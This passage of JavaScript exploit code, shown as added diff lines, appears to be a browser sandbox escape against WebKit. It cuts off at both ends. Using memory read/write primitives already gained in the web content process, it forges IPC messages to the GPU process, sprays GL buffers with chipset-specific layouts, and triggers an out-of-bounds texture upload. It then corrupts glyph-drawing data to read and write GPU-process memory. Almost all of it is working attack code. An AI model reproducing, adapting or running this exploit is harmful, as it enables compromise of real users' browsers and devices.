(messageBodyIsOOL) { + ASSERT_NOT_REACHED("ool message is not supported"); + } else { + this.offset = descriptorOffset; + this.messageFlags = this.decode('uint8_t'); + this.messageName = this.decode('uint16_t'); + } + } else if (this.view.getUint32(0x14, true) == inlineBodyMessageID) { + this.offset += sizeof_mach_msg_header_t; + this.messageFlags = this.decode('uint8_t'); + this.messageName = this.decode('uint16_t'); + } else { + LOG(`unsupported message type (${this.buffer.data().hex()}) (gpu might be dead)`); + this.messageName = 0; + } + } + static argumentAlignment(type) { + switch (type) { + case 'uint64_t': + case 'int64_t': + return 8; + case 'uint32_t': + case 'int32_t': + return 4; + case 'uint16_t': + case 'int16_t': + return 2; + case 'uint8_t': + case 'int8_t': + case 'bool': + return 1; + default: + ASSERT_NOT_REACHED(`Decoder.argumentAlignment(): unexpected type name: ${type}`); + } + } + static argumentSize(type) { + switch (type) { + case 'uint64_t': + case 'int64_t': + return 8; + case 'uint32_t': + case 'int32_t': + return 4; + case 'uint16_t': + case 'int16_t': + return 2; + case 'uint8_t': + case 'int8_t': + case 'bool': + return 1; + default: + ASSERT_NOT_REACHED(`Decoder.argumentSize(): unexpected type name: ${type}`); + } + } + decode(type) { + const alignment = Decoder.argumentAlignment(type); + const remainder = this.offset % alignment; + if (remainder) { + this.offset += alignment - remainder; + } + let result; + switch (type) { + case 'uint64_t': + result = this.view.getBigUint64(this.offset, true); + break; + case 'int64_t': + result = this.view.getBigInt64(this.offset, true); + break; + case 'uint32_t': + result = this.view.getUint32(this.offset, true); + break; + case 'int32_t': + result = this.view.getInt32(this.offset, true); + break; + case 'uint16_t': + result = this.view.getUint16(this.offset, true); + break; + case 'int16_t': + result = this.view.getInt16(this.offset, true); + break; + case 'uint8_t': + result = this.view.getUint8(this.offset); + break; + case 'int8_t': + result = this.view.getInt8(this.offset); + break; + case 'bool': + result = !!this.view.getInt8(this.offset); + break; + default: + ASSERT_NOT_REACHED(`Decoder.decode(): unexpected type name: ${arg.type}`); + } + this.offset += Decoder.argumentSize(type); + return result; + } + decode8BitString() { + const length = this.decode('uint32_t'); + const is8Bit = this.decode('bool'); + ASSERT(is8Bit, "encountered 16 bits string"); + const result = this.buffer.slice(this.offset, this.offset + length); + this.offset += length; + return result; + } + } + ; + class SharedBuffer { + constructor(size) { + const addressBuffer = new BigUint64Array(1); + let kr = fcall(offsets.vm_allocate_fn, __mach_task_self, addressBuffer.data(), size, 3n); + ASSERT(kr == KERN_SUCCESS, "vm_allocate failed"); + const address = addressBuffer[0]; + const sizeBuffer = new BigUint64Array(1); + sizeBuffer[0] = size; + const portBuffer = new BigUint64Array(1); + kr = fcall(offsets.mach_make_memory_entry_64_fn, __mach_task_self, sizeBuffer.data(), address, 0x500043n, portBuffer.data(), 0n); + ASSERT(kr == KERN_SUCCESS, "mach_make_memory_entry_64 failed"); + this.address = address; + this.port = portBuffer[0]; + this.size = size; + } + } + ; + class StreamClientConnection extends Connection { + constructor(identifier, bufferSize) { + super(0n); + this.identifier = identifier; + this.buffer = new SharedBuffer(bufferSize); + const portBuffer = new BigUint64Array(1); + let kr = fcall(offsets.mach_port_allocate, __mach_task_self, 1n, portBuffer.data()); + ASSERT(kr == KERN_SUCCESS, "mach_port_allocate failed"); + const receivePort = portBuffer[0]; + kr = fcall(offsets.mach_port_insert_right, __mach_task_self, receivePort, receivePort, 0x14n); + ASSERT(kr == KERN_SUCCESS, "mach_port_insert_right failed"); + this.receivePort = receivePort; + this.setClientOffset(0x80000000n); + this.destinationID = 0n; + } + setClientOffset(offset) { + write64(this.buffer.address + streamBufferClientOffset, offset); + } + clientOffset() { + return read32(this.buffer.address + streamBufferClientOffset); + } + serverOffset() { + return read32(this.buffer.address + streamBufferServerOffset); + } + setSemaphores(wakeUpSemaphore, clientWaitSemaphore) { + this.wakeUpSemaphore = wakeUpSemaphore; + this.clientWaitSemaphore = clientWaitSemaphore; + } + waitForServer(timeout) { + const begin = performance.now(); + const address = this.buffer.address + streamBufferClientOffset; + read64_biguint64arr[1] = address; + while (read64_str.charCodeAt(1) != 0x8000) { + if (performance.now() - begin > timeout) { + return false; + } + } + return true; + } + sendOutOfStreamMessage(encoder) { + this.sendMessage(encoder); + this.processOutOfStreamMessage(); + return; + } + sendOutOfStreamMessageAndWait(encoder, timeout = Infinity) { + this.sendMessage(encoder); + this.processOutOfStreamMessage(); + return this.waitForServer(timeout); + } + processOutOfStreamMessage() { + this.waitForServer(Infinity); + ASSERT(this.clientOffset() == 0x80000000n, "clientOffset is not 0x80000000"); + let offset = this.serverOffset(); + if (offset % 2n) { + offset += 1n; + } + write64(this.buffer.address + streamBufferDataOffset + offset, BigInt(MessageName.ProcessOutOfStreamMessage)); + offset += 0x10n; + this.setClientOffset(offset); + fcall(offsets.semaphore_signal, this.wakeUpSemaphore); + } + processOutOfStreamMessageAndWait(timeout=Infinity) { + this.processOutOfStreamMessage(); + this.waitForServer(timeout); + } + } + ; + function read_hashmap(map_ptr, key_size = 8n, element_size = 8n) { + const map_length = read64(map_ptr - 8n) >> 32n; + const entry_size = key_size + element_size; + const buffer_size = entry_size * map_length; + const res = new Map(); + for (let offset = 0n; offset < buffer_size; offset += entry_size) { + const key = read64(map_ptr + offset); + if (key && key != 0xffffffffffffffffn) { + const value = read64(map_ptr + offset + key_size); + res.set(key, value); + } + } + return res; + } + let identifier = 0xffffffffn; + function nextIdentifier() { + return identifier++; + } + const crash_timeout = 100; + print("[sbx0] stage1: init WebProcess discovery"); + const runLoopHolder_tid = read64(offsets.runLoopHolder_tid); + LOG(`runLoopHolder_tid: ${runLoopHolder_tid.hex()}`); + const webProcess = read64(offsets.WebProcess_singleton); + LOG(`webProcess: ${webProcess.hex()}`); + const pageMap = read64(webProcess + 0x78n); + const pageMapData = read_hashmap(pageMap); + const webPages = [...pageMapData.values()]; + for (const webPage of webPages) { + LOG(`webPage: ${webPage.hex()}`); + let m_drawingArea = read64(webPage + offsets.m_drawingArea); + LOG(`\tm_drawingArea: ${m_drawingArea.hex()}`); + let m_isRenderingSuspended = read64(m_drawingArea + offsets.m_isRenderingSuspended); + LOG(`\tm_isRenderingSuspended: ${m_isRenderingSuspended.hex()}`); + write64(m_drawingArea + offsets.m_isRenderingSuspended, m_isRenderingSuspended & 0xffffffffffffff00n | 0x01n); + } + const renderingBackendConnections = []; + for (const webPage of webPages) { + const remoteRenderingBackendProxy = read64(webPage + offsets.RemoteRenderingBackendProxy_off); + LOG(`-> remoteRenderingBackendProxy: ${remoteRenderingBackendProxy.hex()}`); + const streamConnection = read64(remoteRenderingBackendProxy + 0x40n); + LOG(`-> streamConnection: ${streamConnection.hex()}`); + const connection = read64(streamConnection + 8n); + LOG(`-> connection: ${connection.hex()}`); + renderingBackendConnections.push(new Connection(connection, true, "renderingBackendConnection")); + } + let gpuProcessConnection = read64(webProcess + offsets.m_gpuProcessConnection); + let gpuConnection = new Connection(read64(gpuProcessConnection + 0x20n), true, 'first gpuConnection'); + const firstGpuConnection = gpuConnection; + write64(webProcess + offsets.m_gpuProcessConnection, 0n); + let uiProcessConnection = read64(webProcess + offsets.UI_m_connection); + LOG(`uiProcessConnection: ${uiProcessConnection.hex()}`); + let uiConnection = new Connection(uiProcessConnection, false); + let gpuProcessConnectionIdentifier = read64(gpuProcessConnection + offsets.m_gpuProcessConnection_m_identifier); + let retry_count = 0; + (function SBX0() { + print("[sbx0] stage2: SBX0() enter, retry=" + retry_count); + LOG(`[+] SBX0() (retry: ${retry_count++})`); + function GPUConnectionToWebProcess_CreateRenderingBackend(backendConnection) { + gpuConnection.sendMessage(new Encoder(MessageName.GPUConnectionToWebProcess_CreateRenderingBackend, 0n).encode('uint64_t', backendConnection.identifier).encode('uint64_t', backendConnection.buffer.size), [backendConnection.receivePort, backendConnection.buffer.port]); + const decoders = backendConnection.receiveMessages([MessageName.RemoteRenderingBackendProxy_DidInitialize, MessageName.InitializeConnection]); + backendConnection.setSemaphores(decoders[0].attachments[0], decoders[0].attachments[1]); + backendConnection.setSendPort(decoders[1].attachments[0]); + LOG("RemoteRenderingBackend created"); + } + function GPUConnectionToWebProcess_CreateGraphicsContextGL() { + gpuConnection.sendMessage(new Encoder(MessageName.GPUConnectionToWebProcess_CreateGraphicsContextGL, 0n).encode('uint64_t', glConnection.identifier).encode('bool', false).encode('bool', false).encode('bool', false).encode('bool', false).encode('bool', false).encode('bool', false).encode('uint8_t', 0).encode('bool', true).encode('bool', true).encode('uint8_t', 0).encode('uint64_t', backendConnection.identifier).encode('uint64_t', glConnection.buffer.size), [glConnection.receivePort, glConnection.buffer.port]); + const decoders = glConnection.receiveMessages([MessageName.RemoteGraphicsContextGLProxy_WasCreated, MessageName.InitializeConnection]); + glConnection.setSemaphores(decoders[0].attachments[0], decoders[0].attachments[1]); + glConnection.setSendPort(decoders[1].attachments[0]); + LOG("RemoteGraphicsContextGL created"); + } + function WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive() { + uiConnection.sendMessage(new Encoder(MessageName.WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive, 0n).encode('uint64_t', gpuProcessConnectionIdentifier)); + } + function RemoteRenderingBackend_CacheFont() { + let requested_cache_id = nextIdentifier(); + backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteRenderingBackend_CacheFont, backendConnection.identifier).encode('uint8_t', 1).encode('uint64_t', requested_cache_id).encode('uint8_t', 1).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('float', 10).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint8_t', 0).encode('uint32_t', 0x80010000).encode8BitString('file:///System/Library/Fonts/Core/Helvetica.ttc#postscript-name=Helvetica').encode8BitString('Helvetica').encode('uint8_t', 0)); + return requested_cache_id; + } + function RemoteRenderingBackend_CreateImageBuffer(backendConnection, width, height) { + const imageBufferIdentifier = nextIdentifier(); + backendConnection.sendMessage(new Encoder(MessageName.RemoteRenderingBackend_CreateImageBuffer, backendConnection.identifier).encode('float', width).encode('float', height).encode('uint8_t', 1).encode('uint8_t', 1).encode('float', 1).encode('uint8_t', 0).encode('uint8_t', 7).encode('uint8_t', 1).encode('uint64_t', imageBufferIdentifier)); + backendConnection.processOutOfStreamMessage(); + const decoder = backendConnection.receiveMessage(MessageName.RemoteImageBufferProxy_DidCreateBackend); + const port = decoder.attachments[0]; + ASSERT(port != MACH_PORT_NULL, "RemoteRenderingBackend_CreateImageBuffer(): port is NULL"); + return imageBufferIdentifier; + } + function RemoteRenderingBackend_ReleaseImageBuffer(backendConnection, imageBufferIdentifier) { + backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteRenderingBackend_ReleaseImageBuffer, backendConnection.identifier).encode('uint64_t', imageBufferIdentifier)); + } + function RemoteRenderingBackend_ReleaseImageBuffer_NoWait(backendConnection, imageBufferIdentifier) { + backendConnection.sendOutOfStreamMessage(new Encoder(MessageName.RemoteRenderingBackend_ReleaseImageBuffer, backendConnection.identifier).encode('uint64_t', imageBufferIdentifier)); + } + function RemoteImageBuffer_PutPixelBuffer(imageID, width, height) { + const data = new Uint8Array(width * height * 4).fill(0x01); + backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteImageBuffer_PutPixelBuffer, imageID).encode('uint8_t', 0x00).encode('uint8_t', 0x01).encode('uint8_t', 0x0).encode('uint8_t', 0).encode('uint8_t', 0x11).encode('uint32_t', width).encode('uint32_t', height).encode('uint64_t', BigInt(data.byteLength)).encode('bytes', data).encode('uint32_t', 0x0).encode('uint32_t', 0x0).encode('uint32_t', width).encode('uint32_t', height).encode('uint32_t', 0x0).encode('uint32_t', 0x0).encode('uint8_t', 0x0)); + } + function RemoteDisplayListRecorder_DrawGlyphs(imageBufferID, cache_id, glyphs_u8, advances_u8, length, timeout = Infinity, x = 0, y = 0) { + const encoder = new Encoder(MessageName.RemoteDisplayListRecorder_DrawGlyphs, imageBufferID); + encoder.encode('uint64_t', cache_id); + encoder.encode('uint64_t', BigInt(length)); + encoder.encode('bytes', glyphs_u8); + encoder.encode('uint64_t', BigInt(length)); + encoder.encode('bytes', advances_u8); + encoder.encode('float', x); + encoder.encode('float', y); + encoder.encode('uint8_t', 0); + if (!backendConnection.sendOutOfStreamMessageAndWait(encoder, timeout = timeout)) { + LOG(`Crash detected during DrawGlyphs call`); + return false; + } + return true; + } + function RemoteDisplayListRecorder_FillRect(imageBufferID, rect0 = 0, rect1 = 0, rect2 = 0, rect3 = 0, requiresClipToRect = true, timeout = Infinity) { + if (!backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteDisplayListRecorder_FillRect, imageBufferID).encode('uint32_t', rect0).encode('uint32_t', rect1).encode('uint32_t', rect2).encode('uint32_t', rect3).encode('bool', requiresClipToRect), timeout)) { + LOG(`Crash detected during FillRect call`); + return false; + } + return true; + } + function RemoteDisplayListRecorder_StrokeRect(imageBufferID, rect0, rect1, rect2, rect3, lineWidth, timeout = Infinity) { + if (!backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteDisplayListRecorder_StrokeRect, imageBufferID).encode('uint32_t', rect0).encode('uint32_t', rect1).encode('uint32_t', rect2).encode('uint32_t', rect3).encode('uint32_t', lineWidth), timeout)) { + LOG(`Crash detected during StrokeRect call`); + return false; + } + return true; + } + function RemoteDisplayListRecorder_SetCTM(imageBufferID, ctm0, ctm1, ctm2, ctm3, ctm4, ctm5) { + backendConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteDisplayListRecorder_SetCTM, imageBufferID).encode('uint64_t', ctm0).encode('uint64_t', ctm1).encode('uint64_t', ctm2).encode('uint64_t', ctm3).encode('uint64_t', ctm4).encode('uint64_t', ctm5)); + } + function RemoteGraphicsContextGL_Reshape(width = 1, height = 1) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_Reshape, glConnection.identifier).encode('int32_t', width).encode('int32_t', height)); + } + function RemoteGraphicsContextGL_CreateBuffer(bufferID) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CreateBuffer, glConnection.identifier).encode('uint32_t', bufferID)); + } + function RemoteGraphicsContextGL_BindBuffer(target, bufferID) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BindBuffer, glConnection.identifier).encode('uint32_t', target).encode('uint32_t', bufferID)); + } + function RemoteGraphicsContextGL_BufferData0(target, size, usage) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BufferData0, glConnection.identifier).encode('uint32_t', target).encode('uint64_t', BigInt(size)).encode('uint32_t', usage)); + } + function RemoteGraphicsContextGL_BufferData1(target, data, usage) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BufferData1, glConnection.identifier).encode('uint32_t', target).encode('uint64_t', BigInt(data.byteLength)).encode('bytes', data).encode('uint32_t', usage)); + } + function RemoteGraphicsContextGL_PixelStorei(pname, param) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_PixelStorei, glConnection.identifier).encode('uint32_t', pname).encode('int32_t', param)); + } + function RemoteGraphicsContextGL_CreateTexture(textureID) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CreateTexture, glConnection.identifier).encode('uint32_t', textureID)); + } + function RemoteGraphicsContextGL_BindTexture(target, textureID) { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_BindTexture, glConnection.identifier).encode('uint32_t', target).encode('uint32_t', textureID)); + } + function RemoteGraphicsContextGL_TexImage2D1(target, level, internalformat, width, height, border, format, type, offset, timeout = Infinity) { + if (!glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_TexImage2D1, glConnection.identifier).encode('uint32_t', target).encode('int32_t', level).encode('uint32_t', internalformat).encode('int32_t', width).encode('int32_t', height).encode('int32_t', border).encode('uint32_t', format).encode('uint32_t', type).encode('uint64_t', offset), timeout)) { + LOG(`Crash detected during TexImage2D1 call`); + return false; + } + return true; + } + function RemoteGraphicsContextGL_Flush() { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_Flush, glConnection.identifier)); + } + function RemoteGraphicsContextGL_Finish() { + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_Finish, glConnection.identifier)); + } + function RemoteGraphicsContextGL_GetShaderSource() { + const syncRequestID = nextIdentifier(); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_GetShaderSource, glConnection.identifier).encode('uint64_t', syncRequestID).encode('uint32_t', fragmentShader)); + return glConnection.receiveSyncReply(syncRequestID).decode8BitString(); + } + let imageBufferIdentifiers = []; + let dirtyWriteIndex = 0; + let cache_id = 0; + let dirty_read_count = 0; + let glObjectIndex = 1; + let fragmentShader = 0; + function initGLProgram() { + const vertexShader = glObjectIndex++; + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CreateShader, glConnection.identifier).encode('uint32_t', vertexShader).encode('uint32_t', GL_VERTEX_SHADER)); + LOG(`Vertex shader created. ID:${vertexShader}`); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_ShaderSource, glConnection.identifier).encode('uint32_t', vertexShader).encode8BitString(`#version 300 es + precision highp float; + void main() { + gl_Position = vec4(1,1,1,0); + }`)); + LOG("Vertex shader sourced"); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CompileShader, glConnection.identifier).encode('uint32_t', vertexShader)); + LOG("Vertex shader compiled"); + fragmentShader = glObjectIndex++; + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CreateShader, glConnection.identifier).encode('uint32_t', fragmentShader).encode('uint32_t', GL_FRAGMENT_SHADER)); + LOG(`Fragment shader created. ID:${fragmentShader}`); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_ShaderSource, glConnection.identifier).encode('uint32_t', fragmentShader).encode8BitString(`#version 300 es + precision highp float; + out vec4 fragColor; + void main() { + fragColor = vec4(1,1,1,0); + }`)); + LOG("Fragment shader sourced"); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CompileShader, glConnection.identifier).encode('uint32_t', fragmentShader)); + LOG("Fragment shader compiled"); + const program = glObjectIndex++; + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_CreateProgram, glConnection.identifier).encode('uint32_t', program)); + LOG(`Program has been created. ID:${program}`); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_AttachShader, glConnection.identifier).encode('uint32_t', program).encode('uint32_t', vertexShader)); + LOG("Vertex shader has been attached"); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_AttachShader, glConnection.identifier).encode('uint32_t', program).encode('uint32_t', fragmentShader)); + LOG("Fragment shader has been attached"); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_LinkProgram, glConnection.identifier).encode('uint32_t', program)); + LOG("Program has been linked"); + glConnection.sendOutOfStreamMessageAndWait(new Encoder(MessageName.RemoteGraphicsContextGL_UseProgram, glConnection.identifier).encode('uint32_t', program)); + LOG("Program enabled"); + RemoteGraphicsContextGL_Flush(); + } + function prepareLayout() { + sprayBuffers(50, 0x4000); + sprayBuffers(10, 0x20000); + sprayBuffers(10, 0x4000 * 20); + for (let i = 0; i < 30; i++) { + RemoteRenderingBackend_CreateImageBuffer(backendConnection, 0x20, 0x80); + } + } + function sprayBuffers(n, size) { + for (let i = 0; i < n; i++) { + const bufferID = glObjectIndex++; + RemoteGraphicsContextGL_CreateBuffer(bufferID); + RemoteGraphicsContextGL_BindBuffer(GL_ARRAY_BUFFER, bufferID); + RemoteGraphicsContextGL_BufferData0(GL_ARRAY_BUFFER, size, GL_STATIC_DRAW); + } + } + function texImage2D1(internalformat, format, type, width, height, timeout = Infinity) { + let texture_01 = glObjectIndex++; + RemoteGraphicsContextGL_CreateTexture(texture_01); + RemoteGraphicsContextGL_BindTexture(GL_TEXTURE_2D, texture_01); + return RemoteGraphicsContextGL_TexImage2D1(GL_TEXTURE_2D, 0, internalformat, width, height, 0, format, type, 0n, timeout = timeout); + } + function oob() { + LOG(`oob()`); + const width = 1; + const height = 0x200; + const smaller_height = 0x200 / 4; + RemoteGraphicsContextGL_PixelStorei(GL_UNPACK_IMAGE_HEIGHT, smaller_height); + const data32 = new Uint32Array(0x400); + if (chipset === "f35b705e8c57ae59e369ebc9145a9dbc" || chipset === "43ba9900ff2fc7d9d32072540b2cab12" || chipset === "c90776dbac058ed6957f476e287867f8" || chipset === "22f32fd975a694d340a6ad22b872b1ae") { + data32.fill(0xaac7ab, 0x80); + } else { + data32.fill(0x8015c8, 0x80); + } + const data = new Uint8Array(data32.buffer); + const pixelUnpackBuffer = glObjectIndex++; + RemoteGraphicsContextGL_CreateBuffer(pixelUnpackBuffer); + RemoteGraphicsContextGL_BindBuffer(GL_PIXEL_UNPACK_BUFFER, pixelUnpackBuffer); + RemoteGraphicsContextGL_BufferData1(GL_PIXEL_UNPACK_BUFFER, data, GL_STATIC_DRAW); + if (chipset === "43ba9900ff2fc7d9d32072540b2cab12" || chipset === "c90776dbac058ed6957f476e287867f8" || chipset === "22f32fd975a694d340a6ad22b872b1ae") { + sprayBuffers(7, 0x100); + sprayBuffers(0x1b - 1, 0x1000); + } else { + sprayBuffers(3, 0x100); + sprayBuffers(0x1d - 1, 0x1000); + } + RemoteGraphicsContextGL_BindBuffer(GL_PIXEL_UNPACK_BUFFER, 0); + for (let i = 0; i < 12; i++) { + texImage2D1(GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_FLOAT, width, height); + } + RemoteGraphicsContextGL_BindBuffer(GL_PIXEL_UNPACK_BUFFER, pixelUnpackBuffer); + prepare_layout_start = Date.now(); + prepareLayout(); + prepare_layout_end = Date.now(); + LOG(`[profiler] prepare_layout took ${prepare_layout_end - prepare_layout_start}ms`); + if (chipset === "f35b705e8c57ae59e369ebc9145a9dbc" || chipset === "43ba9900ff2fc7d9d32072540b2cab12" || chipset === "c90776dbac058ed6957f476e287867f8" || chipset === "22f32fd975a694d340a6ad22b872b1ae") { + sprayBuffers(1, 0x100); + sprayBuffers(1, 0x200); + } else { + sprayBuffers(1, 0x100); + } + for (let i = 0; i < 2; i++) { + RemoteRenderingBackend_CreateImageBuffer(backendConnection, 0x1000, 0x400 * 8); + } + for (let i = 0; i < 10; i++) { + let imageBufferIdentifier = RemoteRenderingBackend_CreateImageBuffer(backendConnection, 0x20, 0x80); + imageBufferIdentifiers.push(imageBufferIdentifier); + } + for (let i = 0; i < 3; i++) { + RemoteRenderingBackend_CreateImageBuffer(backendConnection, 0x1000, 0x400 * 8); + } + RemoteGraphicsContextGL_TexImage2D1(GL_TEXTURE_2D, 0, GL_DEPTH_COMPONENT32F, width, height, 0, GL_DEPTH_COMPONENT, GL_FLOAT, 0n); + RemoteImageBuffer_PutPixelBuffer(imageBufferIdentifiers[0], 0x20, 0x80); + RemoteGraphicsContextGL_Flush(); + RemoteGraphicsContextGL_Finish(); + RemoteGraphicsContextGL_PixelStorei(GL_UNPACK_IMAGE_HEIGHT, 0); + RemoteGraphicsContextGL_BindBuffer(GL_PIXEL_UNPACK_BUFFER, 0); + texImage2D1(GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_FLOAT, width, height); + if (!texImage2D1(GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_FLOAT, 0x20, 0x20, timeout = crash_timeout)) { + return false; + } + RemoteGraphicsContextGL_Flush(); + RemoteGraphicsContextGL_Finish(); + LOG(`FINISHED oob()`); + print("[sbx0] stage3: oob() finished"); + return true; + } + function preparePrimitives() { + LOG("preparePrimitives"); + cache_id = RemoteRenderingBackend_CacheFont(); + LOG(`Cache font ID: ${cache_id.hex()}`); + for (let i = 0; i < 9; i++) { + if (!RemoteDisplayListRecorder_StrokeRect(imageBufferIdentifiers[dirtyWriteIndex], 0, 0, 0, 0x100 + i, 0x100 + i, timeout = crash_timeout)) return false; + } + const draw_glyphs_length = 0x6a8; + const glyphs = new BigUint64Array(draw_glyphs_length / 0x8 * 0x2); + glyphs[glyphs.length - 4] = 0n; + glyphs[glyphs.length - 3] = 0n; + glyphs[glyphs.length - 2] = 0x10000n; + glyphs[glyphs.length - 1] = 0x20000n; + const glyphs_u8 = new Uint8Array(glyphs.buffer, 0, draw_glyphs_length * 2); + if (!RemoteDisplayListRecorder_DrawGlyphs(imageBufferIdentifiers[dirtyWriteIndex], cache_id, glyphs_u8, new Uint8Array(draw_glyphs_length * 0x10), draw_glyphs_length, timeout = crash_timeout)) return false; + for (let i = 0; i < 2; i++) { + if (!RemoteDisplayListRecorder_StrokeRect(imageBufferIdentifiers[dirtyWriteIndex + 1], 0, 0, 0, 0x100 + i, 0x100 + i, timeout = crash_timeout)) return false; + } + const draw_glyphs_second_length = 0x6f0; + const glyphs_second = new BigUint64Array(draw_glyphs_second_length / 0x8 * 0x2); + let read_corruption_index = 0x1a6; + for (let i = 0; i < 10; i++) { + glyphs_second[read_corruption_index + 0] = 0n; + glyphs_second[read_corruption_index + 1] = 0n; + glyphs_second[read_corruption_index + 2] = 0x10000n; + glyphs_second[read_corruption_index + 3] = 0x20000n; + glyphs_second[read_corruption_index + 4] = offsets.emptyString - 0x18n; + glyphs_second[read_corruption_index + 5] = 0n; + read_corruption_index -= 0x10; + } + glyphs_second[glyphs_second.length - 6] = 0n; + glyphs_second[glyphs_second.length - 5] = 0n; + glyphs_second[glyphs_second.length - 4] = 0x10000n; + glyphs_second[glyphs_second.length - 3] = 0x20000n; + glyphs_second[glyphs_second.length - 2] = offsets.emptyString - 0x18n; + glyphs_second[glyphs_second.length - 1] = 0x0n; + const glyphs_second_u8 = new Uint8Array(glyphs_second.buffer, 0, draw_glyphs_second_length * 2); + if (!RemoteDisplayListRecorder_DrawGlyphs(imageBufferIdentifiers[dirtyWriteIndex + 1], cache_id, glyphs_second_u8, new Uint8Array(draw_glyphs_second_length * 0x10), draw_glyphs_second_length, timeout = crash_timeout)) return false; + let data = iterativeRead(offsets.RemoteGraphicsContextGLWorkQueue + 0x30n, 8n); + if (!data) return false; + let data_u64 = new BigUint64Array(data); + let glThread = data_u64[0]; + LOG(`glThread: ${glThread.hex()}`); + data = iterativeRead(glThread + 0x10n, 0x10n); + if (!data) return false; + data_u64 = new BigUint64Array(data); + let pthread_ptr = data_u64[0]; + LOG(`pthread_ptr: ${pthread_ptr.hex()}`); + let pthread_data = iterativeRead(pthread_ptr, 0xa00n); + if (!pthread_data) return false; + let pthread_data_u64 = new BigUint64Array(pthread_data); + data = iterativeRead(offsets.GetCurrentThreadTLSIndex_CurrentThreadIndex, 8n); + if (!data) return false; + data_u64 = new BigUint64Array(data); + const currentThreadIndex = data_u64[0]; + LOG(`currentThreadIndex: ${currentThreadIndex.hex()}`); + const pthread_tls = pthread_data_u64[currentThreadIndex + 0x1en]; + LOG(`pthread_tls: ${pthread_tls.hex()}`); + data = iterativeRead(pthread_tls + 0x638n, 8n); + if (!data) return false; + data_u64 = new BigUint64Array(data); + const glBuffer = data_u64[0]; + ASSERT(glBuffer, `glBuffer is NULL`); + LOG(`glBuffer: ${glBuffer.hex()}`); + const glBuffer_data = iterativeRead(glBuffer + offsets.rxBufferMtl_off, 0x10n); + if (!glBuffer_data) return false; + const glBuffer_data_u64 = new BigUint64Array(glBuffer_data); + const rxBufferMtl = glBuffer_data_u64[0]; + LOG(`rxBufferMtl: ${rxBufferMtl.hex()}`); + const rxBufferMtl_data = iterativeRead(rxBufferMtl + offsets.rxMtlBuffer_off, 8n); + if (!rxBufferMtl_data) return false; + const rxBufferMtl_data_u64 = new BigUint64Array(rxBufferMtl_data); + const rxMtlBuffer = rxBufferMtl_data_u64[0]; + LOG(`rxMtlBuffer: ${rxMtlBuffer.hex()}`); + const rxMtlBuffer_data = iterativeRead(rxMtlBuffer, 0x20n); + if (!rxMtlBuffer_data) return false; + const rxMtlBuffer_data_u64 = new BigUint64Array(rxMtlBuffer_data); + const AGXA13FamilyBuffer = rxMtlBuffer_data_u64[3]; + LOG(`AGXA13FamilyBuffer: ${AGXA13FamilyBuffer.hex()}`); + const write_addr = pthread_tls + offsets.privateState_off + offsets.vertexAttribVector_off; + const write_value = AGXA13FamilyBuffer + 0xa0n; + for (let i = 0; i < 7; i++) { + if (!RemoteDisplayListRecorder_StrokeRect(imageBufferIdentifiers[dirtyWriteIndex + 1], 0, 0, 0, 0x100 + i, 0x100 + i, timeout = crash_timeout)) return false; + } + const draw_glyphs_third_length = 0x688; + const glyphs_third = new BigUint64Array(draw_glyphs_third_length / 0x8 * 0x2); + glyphs_third[glyphs_third.length - 6] = 0n; + glyphs_third[glyphs_third.length - 5] = 0n; + glyphs_third[glyphs_third.length - 4] = 0x10000n; + glyphs_third[glyphs_third.length - 3] = 0x20000n; + glyphs_third[glyphs_third.length - 2] = write_addr - 0x30n; + glyphs_third[glyphs_third.length - 1] = 0x0n; + const glyphs_third_u8 = new Uint8Array(glyphs_third.buffer, 0, draw_glyphs_third_length * 2); + if (!RemoteDisplayListRecorder_DrawGlyphs(imageBufferIdentifiers[dirtyWriteIndex + 1], cache_id, 